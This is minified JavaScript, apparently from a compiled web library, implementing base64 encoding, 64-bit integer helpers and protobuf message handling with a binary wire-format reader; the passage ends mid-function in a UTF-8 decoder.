g.Am=function(x,T){T===void 0&&(T=0);Idq();T=E9i[T];for(var t=Array(Math.floor(x.length/3)),u=T[64]||"",H=0,I=0;H<x.length-2;H+=3){var E=x[H],Z=x[H+1],e=x[H+2],l=T[E>>2];E=T[(E&3)<<4|Z>>4];Z=T[(Z&15)<<2|e>>6];e=T[e&63];t[I++]=""+l+E+Z+e}l=0;e=u;switch(x.length-H){case 2:l=x[H+1],e=T[(l&15)<<2]||u;case 1:x=x[H],t[I]=""+T[x>>2]+T[(x&3)<<4|l>>4]+e+u}return t.join("")};
g.R2=function(x,T){if(qh3&&!T)x=g.BX.btoa(x);else{for(var t=[],u=0,H=0;H<x.length;H++){var I=x.charCodeAt(H);I>255&&(t[u++]=I&255,I>>=8);t[u++]=I}x=g.Am(t,T)}return x};
jPV=function(x){var T=[];ZCH(x,function(t){T.push(t)});
return T};
PI=function(x){var T=x.length,t=T*3/4;t%3?t=Math.floor(t):g.Uh("=.",x[T-1])&&(t=g.Uh("=.",x[T-2])?t-2:t-1);var u=new Uint8Array(t),H=0;ZCH(x,function(I){u[H++]=I});
return H!==t?u.subarray(0,H):u};
ZCH=function(x,T){function t(e){for(;u<x.length;){var l=x.charAt(u++),m=SQ[l];if(m!=null)return m;if(!g.Y9(l))throw Error("Unknown base64 encoding at char: "+l);}return e}
Idq();for(var u=0;;){var H=t(-1),I=t(0),E=t(64),Z=t(64);if(Z===64&&H===-1)break;T(H<<2|I>>4);E!=64&&(T(I<<4&240|E>>2),Z!=64&&T(E<<6&192|Z))}};
Idq=function(){if(!SQ){SQ={};for(var x="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""),T=["+/=","+/","-_=","-_.","-_"],t=0;t<5;t++){var u=x.concat(T[t].split(""));E9i[t]=u;for(var H=0;H<u.length;H++){var I=u[H];SQ[I]===void 0&&(SQ[I]=H)}}}};
ldi=function(x){if(!eb5)return g.Am(x);for(var T="",t=0,u=x.length-10240;t<u;)T+=String.fromCharCode.apply(null,x.subarray(t,t+=10240));T+=String.fromCharCode.apply(null,t?x.subarray(t):x);return btoa(T)};
d94=function(x){return m93[x]||""};
AM3=function(x){if(!eb5)return PI(x);M0C.test(x)&&(x=x.replace(M0C,d94));x=atob(x);for(var T=new Uint8Array(x.length),t=0;t<x.length;t++)T[t]=x.charCodeAt(t);return T};
cI=function(x){return Rb3&&x!=null&&x instanceof Uint8Array};
Yu=function(x,T){Pbm(T);this.C=x;if(x!=null&&x.length===0)throw Error("ByteString should be constructed with non-empty values");};
bg=function(){return Shm||(Shm=new Yu(null,Uy))};
zq=function(x){return new Uint8Array(rH(x)||0)};
rH=function(x){Pbm(Uy);var T=x.C;T=T==null||cI(T)?T:typeof T==="string"?AM3(T):null;return T==null?T:x.C=T};
Pbm=function(x){if(x!==Uy)throw Error("illegal external caller");};
cMC=function(x,T){x.__closure__error__context__984382||(x.__closure__error__context__984382={});x.__closure__error__context__984382.severity=T};
ku=function(x){x=Error(x);cMC(x,"warning");return x};
Fo=function(x){if(x!=null){var T;var t=(T=Yhf)!=null?T:Yhf={};T=t[x]||0;T>=5||(t[x]=T+1,x=Error(),cMC(x,"incident"),RP(x))}};
hm=function(x,T,t){return typeof Symbol==="function"&&typeof Symbol()==="symbol"?(t===void 0?0:t)&&Symbol.for&&x?Symbol.for(x):x!=null?Symbol(x):Symbol():T};
Gq=function(x,T){vI||VE in x||U93(x,bCf);x[VE]|=T};
LA=function(x,T){vI||VE in x||U93(x,bCf);x[VE]=T};
rMC=function(x,T){LA(T,(x|0)&-15615)};
nA=function(x,T){LA(T,(x|34)&-15581)};
a2=function(){return typeof BigInt==="function"};
gH=function(x){return Array.prototype.slice.call(x)};
Dw=function(x){return x!==null&&typeof x==="object"&&!Array.isArray(x)&&x.constructor===Object};
zb5=function(x,T){if(x!=null)if(typeof x==="string")x=x?new Yu(x,Uy):bg();else if(x.constructor!==Yu)if(cI(x))x=x.length?new Yu(new Uint8Array(x),Uy):bg();else{if(!T)throw Error();x=void 0}return x};
yE=function(x){if(x&2)throw Error();};
Nv=function(x,T){if(typeof T!=="number"||T<0||T>=x.length)throw Error();};
CA=function(x){var T=Af3(Jm);return T?x[T]:void 0};
pA=function(x){x.lUy=!0;return x};
fA=function(x){var T=x;if(kVD(T)){if(!/^\s*(?:-?[1-9]\d*|0)?\s*$/.test(T))throw Error(String(T));}else if(FdX(T)&&!Number.isSafeInteger(T))throw Error(String(T));return Oy?BigInt(x):x=hbJ(x)?x?"1":"0":kVD(x)?x.trim()||"0":String(x)};
v9q=function(x,T){if(x.length>T.length)return!1;if(x.length<T.length||x===T)return!0;for(var t=0;t<x.length;t++){var u=x[t],H=T[t];if(u>H)return!1;if(u<H)return!0}};
xZ=function(x){var T=x>>>0;wH=T;Xo=(x-T)/4294967296>>>0};
oy=function(x){if(x<0){xZ(0-x);var T=g.S(TH(wH,Xo));x=T.next().value;T=T.next().value;wH=x>>>0;Xo=T>>>0}else xZ(x)};
sd=function(x,T){var t=T*4294967296+(x>>>0);return Number.isSafeInteger(t)?t:tC(x,T)};
V0m=function(x,T){var t=T&2147483648;t&&(x=~x+1>>>0,T=~T>>>0,x==0&&(T=T+1>>>0));x=sd(x,T);return typeof x==="number"?t?-x:x:t?"-"+x:x};
tC=function(x,T){T>>>=0;x>>>=0;if(T<=2097151)var t=""+(4294967296*T+x);else a2()?t=""+(BigInt(T)<<BigInt(32)|BigInt(x)):(t=(x>>>24|T<<8)&16777215,T=T>>16&65535,x=(x&16777215)+t*6777216+T*6710656,t+=T*8147497,T*=2,x>=1E7&&(t+=x/1E7>>>0,x%=1E7),t>=1E7&&(T+=t/1E7>>>0,t%=1E7),t=T+GVf(t)+GVf(x));return t};
GVf=function(x){x=String(x);return"0000000".slice(x.length)+x};
Ld3=function(){var x=wH,T=Xo;T&2147483648?a2()?x=""+(BigInt(T|0)<<BigInt(32)|BigInt(x>>>0)):(T=g.S(TH(x,T)),x=T.next().value,T=T.next().value,x="-"+tC(x,T)):x=tC(x,T);return x};
uV=function(x){if(x.length<16)oy(Number(x));else if(a2())x=BigInt(x),wH=Number(x&BigInt(4294967295))>>>0,Xo=Number(x>>BigInt(32)&BigInt(4294967295));else{var T=+(x[0]==="-");Xo=wH=0;for(var t=x.length,u=0+T,H=(t-T)%6+T;H<=t;u=H,H+=6)u=Number(x.slice(u,H)),Xo*=1E6,wH=wH*1E6+u,wH>=4294967296&&(Xo+=Math.trunc(wH/4294967296),Xo>>>=0,wH>>>=0);T&&(T=g.S(TH(wH,Xo)),x=T.next().value,T=T.next().value,wH=x,Xo=T)}};
TH=function(x,T){T=~T;x?x=~x+1:T+=1;return[x,T]};
$Z=function(x,T){throw Error(T===void 0?"unexpected value "+x+"!":T);};
HB=function(x){if(x!=null&&typeof x!=="number")throw Error("Value of float/double field must be a number, found "+typeof x+": "+x);return x};
n9H=function(x){return x.displayName||x.name||"unknown type name"};
iV=function(x){if(x!=null&&typeof x!=="boolean")throw Error("Expected boolean but got "+C4(x)+": "+x);return x};
Ed=function(x){switch(typeof x){case "bigint":return!0;case "number":return Iy(x);case "string":return adC.test(x);default:return!1}};
g9f=function(x){if(typeof x!=="number")throw ku("int32");if(!Iy(x))throw ku("int32");return x|0};
q5=function(x){return x==null?x:g9f(x)};
ZS=function(x){if(x==null)return x;if(typeof x==="string"&&x)x=+x;else if(typeof x!=="number")return;return Iy(x)?x|0:void 0};
ez=function(x){if(x==null)return x;if(typeof x==="string"&&x)x=+x;else if(typeof x!=="number")return;return Iy(x)?x>>>0:void 0};
Wdf=function(x){var T=0;T=T===void 0?0:T;if(!Ed(x))throw ku("int64");var t=typeof x;switch(T){case 2048:switch(t){case "string":return lV(x);case "bigint":return String(mS(64,x));default:return dn(x)}case 4096:switch(t){case "string":return T=M5(Number(x)),AC(T)?x=fA(T):(T=x.indexOf("."),T!==-1&&(x=x.substring(0,T)),x=a2()?fA(mS(64,BigInt(x))):fA(Byf(x))),x;case "bigint":return fA(mS(64,x));default:return AC(x)?fA(Ry(x)):fA(dn(x))}case 0:switch(t){case "string":return lV(x);case "bigint":return fA(mS(64,
x));default:return Ry(x)}default:return $Z(T,"Unknown format requested type for int64")}};
PB=function(x){return x==null?x:Wdf(x)};
D9H=function(x){if(x[0]==="-")return!1;var T=x.length;return T<20?!0:T===20&&Number(x.substring(0,6))<184467};
yM3=function(x){var T=x.length;return x[0]==="-"?T<20?!0:T===20&&Number(x.substring(0,7))>-922337:T<19?!0:T===19&&Number(x.substring(0,6))<922337};
NyC=function(x){if(x<0){oy(x);var T=tC(wH,Xo);x=Number(T);return AC(x)?x:T}T=String(x);if(D9H(T))return T;oy(x);return sd(wH,Xo)};
Byf=function(x){if(yM3(x))return x;uV(x);return Ld3()};
Ry=function(x){Ed(x);x=M5(x);AC(x)||(oy(x),x=V0m(wH,Xo));return x};
dn=function(x){Ed(x);x=M5(x);if(AC(x))x=String(x);else{var T=String(x);yM3(T)?x=T:(oy(x),x=Ld3())}return x};
lV=function(x){Ed(x);var T=M5(Number(x));if(AC(T))return String(T);T=x.indexOf(".");T!==-1&&(x=x.substring(0,T));return Byf(x)};
JMq=function(x){if(x==null)return x;if(typeof x==="bigint")return Sz(x)?x=Number(x):(x=mS(64,x),x=Sz(x)?Number(x):String(x)),x;if(Ed(x))return typeof x==="number"?Ry(x):lV(x)};
Cb4=function(x){if(x==null)return x;var T=typeof x;if(T==="bigint")return String(mS(64,x));if(Ed(x)){if(T==="string")return lV(x);if(T==="number")return Ry(x)}};
pEV=function(x){if(x==null)return x;var T=typeof x;if(T==="bigint")return String(QP3(64,x));if(Ed(x)){if(T==="string")return Ed(x),T=M5(Number(x)),AC(T)&&T>=0?x=String(T):(T=x.indexOf("."),T!==-1&&(x=x.substring(0,T)),D9H(x)||(uV(x),x=tC(wH,Xo))),x;if(T==="number")return Ed(x),x=M5(x),x>=0&&AC(x)?x:NyC(x)}};
fdi=function(x){if(x==null||typeof x=="string"||x instanceof Yu)return x;if(cI(x))return cI(x)&&Fo(OCv),x};
wEv=function(x){if(typeof x!=="string")throw Error();return x};
cB=function(x){if(x!=null&&typeof x!=="string")throw Error();return x};
YZ=function(x){return x==null||typeof x==="string"?x:void 0};
Ud=function(x,T){if(!(x instanceof T))throw Error("Expected instanceof "+n9H(T)+" but got "+(x&&n9H(x.constructor)));return x};
Kdq=function(x,T,t){if(x!=null&&typeof x==="object"&&x.Qq===bV)return x;if(Array.isArray(x)){var u=x[VE]|0,H=u;H===0&&(H|=t&32);H|=t&2;H!==u&&LA(x,H);return new T(x)}};
XEi=function(x){return x};
rn=function(x){return x};
tQf=function(x,T,t,u){return xvm(x,T,t,u,THC,ouq)};
$vC=function(x,T,t,u){return xvm(x,T,t,u,s2H,uoX)};
xvm=function(x,T,t,u,H,I){if(!t.length&&!u)return 0;for(var E=0,Z=0,e=0,l=0,m=0,d=t.length-1;d>=0;d--){var M=t[d];u&&d===t.length-1&&M===u||(l++,M!=null&&e++)}if(u)for(var A in u)d=+A,isNaN(d)||(m+=HA4(d),Z++,d>E&&(E=d));l=H(l,e)+I(Z,E,m);A=e;d=Z;M=E;for(var R=m,Y=t.length-1;Y>=0;Y--){var b=t[Y];if(!(b==null||u&&Y===t.length-1&&b===u)){b=Y-T;var z=H(b,A)+I(d,M,R);z<l&&(x=1+b,l=z);d++;A--;R+=HA4(b);M=Math.max(M,b)}}T=H(0,0)+I(d,M,R);T<l&&(x=0,l=T);if(u){d=Z;M=E;R=m;A=e;for(var F in u)u=+F,isNaN(u)||
u>=1024||(d--,A++,R-=F.length,E=H(u,A)+I(d,M,R),E<l&&(x=1+u,l=E))}return x};
uoX=function(x,T,t){return t+x*3+(x>1?x-1:0)};
s2H=function(x,T){return(x>1?x-1:0)+(x-T)*4};
ouq=function(x,T){return x==0?0:9*Math.max(1<<32-Math.clz32(x+x/2-1),4)<=T?x==0?0:x<4?100+(x-1)*16:x<6?148+(x-4)*16:x<12?244+(x-6)*16:x<22?436+(x-12)*19:x<44?820+(x-22)*17:52+32*x:40+4*T};
THC=function(x){return 40+4*x};
HA4=function(x){return x>=100?x>=1E4?Math.ceil(Math.log10(1+x)):x<1E3?3:4:x<10?1:2};
iAH=function(x,T,t){var u=gH(x),H=u.length,I=T&256?u[H-1]:void 0;H+=I?-1:0;for(T=T&512?1:0;T<H;T++)u[T]=t(u[T]);if(I){T=u[T]={};for(var E in I)T[E]=t(I[E])}(x=CA(x))&&(u[Jm]=gH(x));return u};
Iw3=function(x,T,t,u,H){if(x!=null){if(Array.isArray(x)){var I=x[VE]|0;return x.length===0&&I&1?void 0:H&&I&2?x:zH(x,T,t,u!==void 0,H)}return T(x,u)}};
zH=function(x,T,t,u,H){var I=u||t?x[VE]|0:0,E=u?!!(I&32):void 0;u=gH(x);for(var Z=0,e=u.length,l=0;l<e;l++){var m=u[l];if(l===e-1&&Dw(m)){var d=void 0;var M=T,A=t,R=E,Y=H,b=void 0;for(d in m){var z=Iw3(m[d],M,A,R,Y);if(z!=null){var F=void 0;((F=b)!=null?F:b={})[d]=z}}d=b}else d=Iw3(u[l],T,t,E,H);u[l]=d;d!=null&&(Z=l+1)}Z<e&&(u.length=Z);t&&((x=CA(x))&&(u[Jm]=gH(x)),t(I,u));return u};
qyJ=function(x){switch(typeof x){case "number":return Number.isFinite(x)?x:""+x;case "bigint":return Sz(x)?Number(x):""+x;case "boolean":return x?1:0;case "object":if(cI(x))return cI(x)&&Fo(OCv),ldi(x);if(x.Qq===bV)return Eu4(x);if(x instanceof Yu){var T=x.C;return T==null?"":typeof T==="string"?T:x.C=ldi(T)}return}return x};
FV=function(x,T){T&&(kZ=T===rn||T!==XEi&&T!==tQf&&T!==$vC?rn:T);try{return Eu4(x)}finally{kZ=void 0}};
Eu4=function(x){var T=x.Ue;x=zH(T,qyJ,void 0,void 0,!1);var t=T[VE]|0;if((T=x.length)&&!(t&512)){var u=x[T-1],H=!1;Dw(u)?(T--,H=!0):u=void 0;var I,E=(I=kZ)!=null?I:rn;I=t&512?0:-1;t=T-I;E=E(t,I,x,u);u&&(x[T]=void 0);if(t<E&&u){t=!0;for(var Z in u){var e=+Z;e<=E?(H=e+I,x[H]=u[Z],T=Math.max(H+1,T),H=!1,delete u[Z]):t=!1}t&&(u=void 0)}for(t=T-1;T>0;t=T-1)if(Z=x[t],Z==null)T--,H=!0;else if(t-=I,t>=E)H=void 0,((H=u)!=null?H:u={})[t]=Z,T--,H=!0;else break;H&&(x.length=T);u&&x.push(u)}return x};
j2X=function(x){switch(typeof x){case "boolean":return vB||(vB=[0,void 0,!0]);case "number":return x>0?void 0:x===0?ZAD||(ZAD=[0,void 0]):[-x,void 0];case "string":return[0,x];case "object":return x}};
GH=function(x,T,t){x=Vd(x,T[0],T[1],t?1:2);T!==vB&&t&&Gq(x,8192);return x};
Vd=function(x,T,t,u){if(x==null){var H=96;t?(x=[t],H|=512):x=[];T&&(H=H&-16760833|(T&1023)<<14)}else{if(!Array.isArray(x))throw Error("narr");H=x[VE]|0;8192&H||!(64&H)||2&H||eYf();if(H&1024)throw Error("farr");if(H&64)return x;u===1||u===2||(H|=64);if(t&&(H|=512,t!==x[0]))throw Error("mid");a:{t=x;var I=t.length;if(I){var E=I-1;u=t[E];if(Dw(u)){H|=256;T=H&512?0:-1;E-=T;if(E>=1024)throw Error("pvtlmt");for(var Z in u)I=+Z,I<E&&(t[I+T]=u[Z],delete u[Z]);H=H&-16760833|(E&1023)<<14;break a}}if(T){Z=Math.max(T,
I-(H&512?0:-1));if(Z>1024)throw Error("spvt");H=H&-16760833|(Z&1023)<<14}}}LA(x,H);return x};
eYf=function(){Fo(lwX)};
mvJ=function(x,T,t){t=t===void 0?nA:t;if(x!=null){if(Rb3&&x instanceof Uint8Array)return T?x:new Uint8Array(x);if(Array.isArray(x)){var u=x[VE]|0;if(u&2)return x;T&&(T=u===0||!!(u&32)&&!(u&64||!(u&16)));return T?(LA(x,u|34),u&4&&Object.freeze(x),x):zH(x,mvJ,u&4?nA:t,!0,!0)}x.Qq===bV&&(t=x.Ue,u=t[VE]|0,x=u&2?x:new x.constructor(L7(t,u,!0)));return x}};
L7=function(x,T,t){var u=t||T&2?nA:rMC,H=!!(T&32);x=iAH(x,T,function(I){return mvJ(I,H,u)});
Gq(x,32|(t?2:0));return x};
n7=function(x){var T=x.Ue,t=T[VE]|0;return t&2?new x.constructor(L7(T,t,!1)):x};
gn=function(x,T){x=x.Ue;return ay(x,x[VE]|0,T)};
ay=function(x,T,t){if(t===-1)return null;var u=t+(T&512?0:-1),H=x.length-1;if(u>=H&&T&256)return x[H][t];if(u<=H)return x[u]};
WB=function(x,T,t){var u=x.Ue,H=u[VE]|0;yE(H);BB(u,H,T,t);return x};
BB=function(x,T,t,u){var H=T&512?0:-1,I=t+H,E=x.length-1;if(I>=E&&T&256)return x[E][t]=u,T;if(I<=E)return x[I]=u,T;u!==void 0&&(E=T>>14&1023||536870912,t>=E?u!=null&&(I={},x[E+H]=(I[t]=u,I),T|=256,LA(x,T)):x[I]=u);return T};
Qd=function(x,T,t,u,H){var I=x.Ue;x=I[VE]|0;var E=2&x?1:u;H=!!H;u=DS(I,x,T);var Z=u[VE]|0;if(!(4&Z)){4&Z&&(u=gH(u),Z=yd(Z,x),x=BB(I,x,T,u));for(var e=0,l=0;e<u.length;e++){var m=t(u[e]);m!=null&&(u[l++]=m)}l<e&&(u.length=l);Z=N5(Z,x);t=(Z|20)&-2049;Z=t&=-4097;LA(u,Z);2&Z&&Object.freeze(u)}E===1||E===4&&32&Z?JC(Z)||(H=Z,Z|=2,Z!==H&&LA(u,Z),Object.freeze(u)):(E===2&&JC(Z)&&(u=gH(u),Z=yd(Z,x),Z=C7(Z,x,H),LA(u,Z),x=BB(I,x,T,u)),JC(Z)||(T=Z,Z=C7(Z,x,H),Z!==T&&LA(u,Z)));return u};
DS=function(x,T,t){x=ay(x,T,t);return Array.isArray(x)?x:p7};
N5=function(x,T){x===0&&(x=yd(x,T));return x|1};
JC=function(x){return!!(2&x)&&!!(4&x)||!!(1024&x)};
dvf=function(x){return zb5(x,!0)};
Od=function(x,T){x=x.Ue;var t=x[VE]|0,u=ay(x,t,T),H=dvf(u);H!=null&&H!==u&&BB(x,t,T,H);return H==null?bg():H};
MQH=function(x,T,t){var u=x.Ue,H=u[VE]|0;yE(H);if(T==null)return BB(u,H,3),x;if(!Array.isArray(T))throw ku();var I=T[VE]|0,E=I,Z=JC(I),e=Z||Object.isFrozen(T);Z||(I=0);e||(T=gH(T),E=0,I=yd(I,H),I=C7(I,H,!0),e=!1);I|=21;Z=4&I?2048&I?2048:4096&I?4096:0:void 0;Z=Z!=null?Z:0;for(var l=0;l<T.length;l++){var m=T[l],d=t(m,Z);Object.is(m,d)||(e&&(T=gH(T),E=0,I=yd(I,H),I=C7(I,H,!0),e=!1),T[l]=d)}I!==E&&(e&&(T=gH(T),I=yd(I,H),I=C7(I,H,!0)),LA(T,I));BB(u,H,3,T);return x};
f7=function(x,T,t,u){var H=x.Ue,I=H[VE]|0;yE(I);BB(H,I,T,(u==="0"?Number(t)===0:t===u)?void 0:t);return x};
wn=function(x,T,t,u){yE(T);var H=DS(x,T,t),I=H!==p7;if(64&T||!(8192&T)||!I){var E=I?H[VE]|0:0,Z=E;if(!I||2&Z||JC(Z)||4&Z&&!(32&Z))H=gH(H),Z=yd(Z,T),T=BB(x,T,t,H);Z=N5(Z,T)&-13;Z=C7(u?Z&-17:Z|16,T,!0);Z!==E&&LA(H,Z)}return H};
T5=function(x,T,t,u){var H=x.Ue,I=H[VE]|0;yE(I);if(u==null){var E=K7(H);if(XV(E,H,I,t)===T)E.set(t,0);else return x}else I=x1(H,I,t,T);BB(H,I,T,u);return x};
og=function(x,T,t,u){var H=x[VE]|0;H=x1(x,H,t,T);BB(x,H,T,u)};
tZ=function(x,T){x=x.Ue;return XV(K7(x),x,x[VE]|0,T)};
K7=function(x){if(vI){var T;return(T=x[sB])!=null?T:x[sB]=new Map}if(sB in x)return x[sB];T=new Map;Object.defineProperty(x,sB,{value:T});return T};
x1=function(x,T,t,u){t.includes(u);var H=K7(x),I=XV(H,x,T,t);I!==u&&(I&&(T=BB(x,T,I)),H.set(t,u));return T};
XV=function(x,T,t,u){var H=x.get(u);if(H!=null)return H;for(var I=H=0;I<u.length;I++){var E=u[I];ay(T,t,E)!=null&&(H!==0&&(t=BB(T,t,H)),H=E)}x.set(u,H);return H};
uX=function(x,T,t){var u=x[VE]|0,H=ay(x,u,t),I;if(H!=null&&H.Qq===bV)return T=n7(H),T!==H&&BB(x,u,t,T),T.Ue;if(Array.isArray(H)){var E=H[VE]|0;E&2?I=GH(L7(H,E,!1),T,!0):E&64?I=H:I=GH(I,T,!0)}else I=GH(void 0,T,!0);I!==H&&BB(x,u,t,I);return I};
$1=function(x,T,t){x=x.Ue;var u=x[VE]|0,H=ay(x,u,t);T=Kdq(H,T,u);T!==H&&T!=null&&BB(x,u,t,T);return T};
HP=function(x,T,t){T=$1(x,T,t);if(T==null)return T;x=x.Ue;var u=x[VE]|0;if(!(u&2)){var H=n7(T);H!==T&&(T=H,BB(x,u,t,T))}return T};
Am4=function(x,T,t,u,H,I,E){x=x.Ue;var Z=!!(2&T),e=Z?1:H;I=!!I;E&&(E=!Z);H=DS(x,T,u);var l=H[VE]|0;Z=!!(4&l);if(!Z){l=N5(l,T);var m=H,d=T,M=!!(2&l);M&&(d|=2);for(var A=!M,R=!0,Y=0,b=0;Y<m.length;Y++){var z=Kdq(m[Y],t,d);if(z instanceof t){if(!M){var F=!!((z.Ue[VE]|0)&2);A&&(A=!F);R&&(R=F)}m[b++]=z}}b<Y&&(m.length=b);l|=4;l=R?l|16:l&-17;l=A?l|8:l&-9;LA(m,l);M&&Object.freeze(m)}if(E&&!(8&l||!H.length&&(e===1||e===4&&32&l))){JC(l)&&(H=gH(H),l=yd(l,T),T=BB(x,T,u,H));t=H;E=l;for(m=0;m<t.length;m++)l=t[m],
d=n7(l),l!==d&&(t[m]=d);E|=8;E=t.length?E&-17:E|16;LA(t,E);l=E}e===1||e===4&&32&l?JC(l)||(T=l,l|=!H.length||16&l&&(!Z||32&l)?2:1024,l!==T&&LA(H,l),Object.freeze(H)):(e===2&&JC(l)&&(H=gH(H),l=yd(l,T),l=C7(l,T,I),LA(H,l),T=BB(x,T,u,H)),JC(l)||(u=l,l=C7(l,T,I),l!==u&&LA(H,l)));return H};
$9=function(x,T,t){var u=x.Ue[VE]|0;return Am4(x,u,T,t,void 0===RYH?2:4,!1,!(2&u))};
iX=function(x,T,t,u){u!=null?Ud(u,T):u=void 0;return WB(x,t,u)};
EB=function(x,T,t,u){var H=x.Ue,I=H[VE]|0;yE(I);if(u==null)return BB(H,I,t),x;if(!Array.isArray(u))throw ku();for(var E=u[VE]|0,Z=E,e=JC(E),l=e||Object.isFrozen(u),m=!0,d=!0,M=0;M<u.length;M++){var A=u[M];Ud(A,T);e||(A=!!((A.Ue[VE]|0)&2),m&&(m=!A),d&&(d=A))}e||(E=m?13:5,E=d?E|16:E&-17);l&&E===Z||(u=gH(u),Z=0,E=yd(E,I),E=C7(E,I,!0));E!==Z&&LA(u,E);BB(H,I,t,u);return x};
yd=function(x,T){x=(2&T?x|2:x&-3)|32;return x&=-1025};
C7=function(x,T,t){32&T&&t||(x&=-33);return x};
qQ=function(x,T,t,u){var H=x.Ue[VE]|0;yE(H);x=Am4(x,H,t,T,2,!0);u=u!=null?Ud(u,t):new t;x.push(u);x[VE]=(u.Ue[VE]|0)&2?x[VE]&-9:x[VE]&-17};
Pg3=function(x){x=gn(x,1);var T=T===void 0?!1:T;var t=typeof x;T=x==null?x:t==="bigint"?String(mS(64,x)):Ed(x)?t==="string"?lV(x):T?dn(x):Ry(x):void 0;return T};
ZI=function(x,T){return YZ(gn(x,T))};
ib=function(x,T,t){t=t===void 0?0:t;var u;return(u=ZS(gn(x,T)))!=null?u:t};
jg=function(x,T){var t=t===void 0?0:t;var u;return(u=ez(gn(x,T)))!=null?u:t};
eg=function(x,T){var t;return(t=ZI(x,T))!=null?t:""};
lX=function(x,T){var t=t===void 0?0:t;x=gn(x,T);x=x==null?x:Iy(x)?x|0:void 0;return x!=null?x:t};
mv=function(x,T,t){return WB(x,T,PB(t))};
d9=function(x,T,t){return WB(x,T,cB(t))};
MQ=function(x,T,t){return f7(x,T,cB(t),"")};
AZ=function(x,T,t){if(t!=null){if(!Iy(t))throw ku("enum");t|=0}return WB(x,T,t)};
Sy5=function(x,T){return Error("Invalid wire type: "+x+" (at position "+T+")")};
Rg=function(){return Error("Failed to read varint, encoding is invalid.")};
cmi=function(x,T){return Error("Tried to read past the end of the data "+T+" > "+x)};
Sg=function(x){if(typeof x==="string")return{buffer:AM3(x),T$:!1};if(Array.isArray(x))return{buffer:new Uint8Array(x),T$:!1};if(x.constructor===Uint8Array)return{buffer:x,T$:!1};if(x.constructor===ArrayBuffer)return{buffer:new Uint8Array(x),T$:!1};if(x.constructor===Yu)return{buffer:rH(x)||new Uint8Array(0),T$:!0};if(x instanceof Uint8Array)return{buffer:new Uint8Array(x.buffer,x.byteOffset,x.byteLength),T$:!1};throw Error("Type not convertible to a Uint8Array, expected a Uint8Array, an ArrayBuffer, a base64 encoded string, a ByteString or an Array of numbers");
};
Yyf=function(x,T){this.Z=null;this.T=!1;this.C=this.j=this.K=0;this.init(x,void 0,void 0,T)};
Y1=function(x){var T=0,t=0,u=0,H=x.Z,I=x.C;do{var E=H[I++];T|=(E&127)<<u;u+=7}while(u<32&&E&128);u>32&&(t|=(E&127)>>4);for(u=3;u<32&&E&128;u+=7)E=H[I++],t|=(E&127)<<u;cP(x,I);if(E<128)return V0m(T>>>0,t>>>0);throw Rg();};
cP=function(x,T){x.C=T;if(T>x.j)throw cmi(x.j,T);};
UB=function(x){var T=x.Z,t=x.C,u=T[t++],H=u&127;if(u&128&&(u=T[t++],H|=(u&127)<<7,u&128&&(u=T[t++],H|=(u&127)<<14,u&128&&(u=T[t++],H|=(u&127)<<21,u&128&&(u=T[t++],H|=u<<28,u&128&&T[t++]&128&&T[t++]&128&&T[t++]&128&&T[t++]&128&&T[t++]&128)))))throw Rg();cP(x,t);return H};
bX=function(x){var T=x.Z,t=x.C,u=T[t+0],H=T[t+1],I=T[t+2];T=T[t+3];cP(x,x.C+4);return(u<<0|H<<8|I<<16|T<<24)>>>0};
r9=function(x){var T=bX(x);x=bX(x);return sd(T,x)};
z5=function(x){var T=bX(x),t=bX(x);x=(t>>31)*2+1;var u=t>>>20&2047;T=4294967296*(t&1048575)+T;return u==2047?T?NaN:x*Infinity:u==0?x*4.9E-324*T:x*Math.pow(2,u-1075)*(T+4503599627370496)};
k1=function(x){for(var T=0,t=x.C,u=t+10,H=x.Z;t<u;){var I=H[t++];T|=I;if((I&128)===0)return cP(x,t),!!(T&127)}throw Rg();};
Uvq=function(x,T){if(T<0)throw Error("Tried to read a negative byte length: "+T);var t=x.C,u=t+T;if(u>x.j)throw cmi(T,x.j-t);x.C=u;return t};
rmv=function(x,T){if(T==0)return bg();var t=Uvq(x,T);x.mF&&x.T?t=x.Z.subarray(t,t+T):(x=x.Z,T=t+T,t=t===T?new Uint8Array(0):bAV?x.slice(t,T):new Uint8Array(x.subarray(t,T)));return t.length==0?bg():new Yu(t,Uy)};
hZ=function(x,T){if(F6.length){var t=F6.pop();t.init(x,void 0,void 0,T);x=t}else x=new Yyf(x,T);this.C=x;this.j=this.C.C;this.Z=this.K=-1;zYf(this,T)};
zYf=function(x,T){T=T===void 0?{}:T;x.DT=T.DT===void 0?!1:T.DT};
kqv=function(x){var T=x.C;if(T.C==T.j)return!1;x.j=x.C.C;var t=UB(x.C)>>>0;T=t>>>3;t&=7;if(!(t>=0&&t<=5))throw Sy5(t,x.j);if(T<1)throw Error("Invalid field number: "+T+" (at position "+x.j+")");x.K=T;x.Z=t;return!0};
vP=function(x){switch(x.Z){case 0:x.Z!=0?vP(x):k1(x.C);break;case 1:x=x.C;cP(x,x.C+8);break;case 2:if(x.Z!=2)vP(x);else{var T=UB(x.C)>>>0;x=x.C;cP(x,x.C+T)}break;case 5:x=x.C;cP(x,x.C+4);break;case 3:T=x.K;do{if(!kqv(x))throw Error("Unmatched start-group tag: stream EOF");if(x.Z==4){if(x.K!=T)throw Error("Unmatched end-group tag");break}vP(x)}while(1);break;default:throw Sy5(x.Z,x.j);}};
Vj=function(x,T,t){var u=x.C.j,H=UB(x.C)>>>0,I=x.C.C+H,E=I-u;E<=0&&(x.C.j=I,t(T,x,void 0,void 0,void 0),E=I-x.C.C);if(E)throw Error("Message parsing ended unexpectedly. Expected to read "+(H+" bytes, instead read "+(H-E)+" bytes, either the data ended unexpectedly or the message misreported its own length"));x.C.C=I;x.C.j=u};
nU=function(x){var T=UB(x.C)>>>0;x=x.C;var t=Uvq(x,T);x=x.Z;if(Fuv){var u=x,H;(H=G5)||(H=G5=new TextDecoder("utf-8",{fatal:!0}));T=t+T;u=t===0&&T===u.length?u:u.subarray(t,T);try{var I=H.decode(u)}catch(l){if(LU===void 0){try{H.decode(new Uint8Array([128]))}catch(m){}try{H.decode(new Uint8Array([97])),LU=!0}catch(m){LU=!1}}!LU&&(G5=void 0);throw l;}}else{I=t;T=I+T;t=[];for(var E=null,Z,e;I<T;)Z=x[I++],Z<128?t.push(Z):Z<224?I>=T?AM():(e=x[I++],Z<194||(e&192)!==128?(I--,AM()):t.push((Z&31)<<6|e&63)):
